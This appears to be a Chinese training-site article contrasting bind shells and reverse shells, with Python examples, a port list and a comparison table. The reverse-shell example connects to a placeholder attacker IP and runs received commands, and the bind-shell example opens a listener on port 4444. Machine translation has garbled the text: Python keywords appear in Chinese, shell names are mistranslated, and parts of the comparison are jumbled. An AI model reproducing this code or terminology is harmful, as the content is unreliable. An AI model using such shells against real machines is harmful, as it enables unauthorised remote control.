网工干货知识

超全学习笔记
当前位置:首页 > 干货知识

绑定壳与反向壳之间的区别

更新时间:2026年03月27日   作者:spoto   标签(Tag):

Shell是一种程序,它负责解释我们的命令,并将这些命令转换为操作系统可以理解的格式。它充当了用户与操作系统之间的接口。Shell从键盘接收输入信息,然后将其传递给操作系统。而终端则让用户可以输入命令并与之进行交互。

何时使用Reverse Shell和Bind Shell呢?

无论是反向shell还是绑定shell,它们都属于网络安全中的技术手段,用于建立攻击者与目标机器之间的连接。不过,是否使用这些技术,实际上取决于具体的应用场景。

  • 反向shell:这种情况需要用到反向shell技术。当目标机器位于防火墙或NAT之后时,就很难建立入站连接了。在这种情况下,目标机器可以连接到攻击者的机器上,从而绕过防火墙的限制。
  • 绑定壳层当攻击者的机器能够直接连接到目标机器时,就可以使用绑定shell技术。在这种情况下,目标机器会监听某个端口以接收来自其他机器的连接请求。当攻击者的机器成功连接到该端口后,它就可以获得对目标机器的控制权了。

因此,选择使用反向shell还是绑定shell,取决于网络的配置、防火墙的设置,以及攻击者对目标机器的访问权限。

如何创建绑定壳?

可以使用各种工具和编程语言来创建绑定shell。下面是一个使用Python的例子:

Python Bind Shell 示例

Python
进口 插座进口 os# 创建一个套接字对象s = 插座.插座(插座.AF_INET, 插座.SOCK_STREAM)# 将套接字绑定到一个公共主机上,并且使用一个知名的端口。s.绑定((“0.0.0.0”, 4444))# 成为服务器套接字s.(1)打印(正在监听端口 4444……)# 接受来自外部的连接(客户端套接字, 客户端地址) = s.接受()打印(f来自的连接/连接源{客户端地址}已经建立起来了!)# 向shell发送命令当…的时候 确实如此:    命令/指令 = 输入(“Shell>”)    if 命令/指令.较低() == “退出”:        客户端套接字.发送(b“退出”)        打破/终止    客户端套接字.发送(命令/指令.编码()))    回应/答复 = 客户端套接字.接收(1024).解码()    打印(回应/答复)客户端套接字.关闭()s.关闭()

在这个例子中,bind shell会监听端口4444。一旦建立连接,攻击者就可以向目标机器发送命令了。

如何创建反向shell?

其他反向shell可以通过多种工具和编程语言来创建。例如,使用Python就可以实现这一点。

Python反向shell示例

Python
进口 插座进口 子程序/子进程# 创建一个套接字对象s = 插座.插座(插座.AF_INET, 插座.SOCK_STREAM)# 连接到攻击者的机器s.连接((“攻击者IP地址”, 4444))# 将输入/输出重定向到套接字上当…的时候 确实如此:    命令/指令 = s.接收(1024).解码()    if 命令/指令.较低() == “退出”:        打破/终止    输出结果/内容 = 子进程.获取输出结果(命令/指令)    s.发送(输出结果/内容.编码()))s.关闭()

在这种情况下,反向shell通过端口4444与攻击者的机器进行连接。因此,攻击者可以在目标机器上执行各种命令。

一些受欢迎的Shell品牌/产品

  • Windows PowerShell
  • Windows命令提示符
  • bash
  • sh
  • 冲刺/快速移动
  • 出生/诞生
  • 科恩

港口

简单来说,端口就是可以用来建立连接的开口或通道。
例如因为访问了像这样的网站而已。https://www.spoto.net/因为,连接将会被建立到端口443上。HTTPS服务器使用端口 443 来进行连接。这些端口与 IP 地址相关联,其编号也是固定的。

一些常用的端口包括:

  • 端口21用于控制操作,而端口20则用于数据传输——这就是FTP的原理。
  • 端口22 – SSH
  • 端口25 – SMTP协议
  • 端口80 – HTTP
  • 端口443 – HTTPS
  • 端口465 – SMTPS
  • 端口587 – SMTP协议使用
  • 端口993 – IMAP

绑定壳层

绑定壳层

“Bind shell”是一种通过网络在其他计算机上建立远程控制台的方式。在Bind shell中,攻击者可以在目标计算机上启动某个服务,从而能够连接到该计算机。攻击者可以连接到目标计算机,并在其上执行各种命令。为了启动Bind shell,攻击者必须拥有受害者的IP地址,才能访问目标计算机。

反向shell

反向shell

所谓“反向外壳”或“连接回服务”,指的是这样一种设置:攻击者需要在自己的机器上启动服务器,而目标机器则必须作为客户端来与攻击者提供的服务器进行连接。一旦连接成功,攻击者就可以访问目标计算机的控制面板了。

为了发起反向外壳攻击,攻击者不需要知道受害者的IP地址,就可以访问目标计算机。

绑定壳与反向壳之间的区别

绑定壳层

反向shell

“Bind Shells”这种攻击方式下,监听程序运行在目标系统上,而攻击者通过连接该监听程序来获取对目标系统的远程访问权限。在反向shell中,攻击者可以在自己的机器上运行监听器,而目标系统则通过shell与攻击者进行连接。这样,攻击者就可以访问目标系统了。
在 Bind shell 中,攻击者会在服务器或目标机器上找到一个开放的端口,然后尝试将自己的 shell 绑定到该端口上。在反向shell中,攻击者会打开自己的端口。这样,受害者就可以连接到该端口,从而实现成功的连接。
攻击者必须在启动 Bind Shell 之前,先了解受害者的 IP 地址。攻击者不需要知道那些信息。IP地址因为攻击者会尝试连接到我们的开放端口,所以受害者所面临的威胁是真实的。
在Bind shell中,目标机器上的监听器处于开启状态,攻击者可以连接到该监听器。反向shell与正向shell相反。在反向shell中,监听程序处于被激活的状态,而目标机器则会与这个监听程序进行连接。
Bind Shell有时会失败,因为现代防火墙不允许外部设备连接到开放的端口。逆向shell可以绕过防火墙的限制,因为目标机器试图与攻击者进行连接,因此防火墙不会去检查这些数据包。

结论

反向外壳和绑定外壳是渗透测试中的两种主要应用方式,它们也可以用于网络安全领域。了解何时以及如何使用这两种方法,对于攻击者和防御者来说都非常重要。通常情况下,当目标机器位于防火墙之后时,就需要使用反向外壳。而如果可以直接连接到目标机器上,那么就可以使用绑定外壳了。

              马上抢免费试听资格
意向课程:*必选
姓名:*必填
联系方式:*必填
QQ:
思博SPOTO在线咨询

相关资讯

即刻预约

免费试听-咨询课程-获取免费资料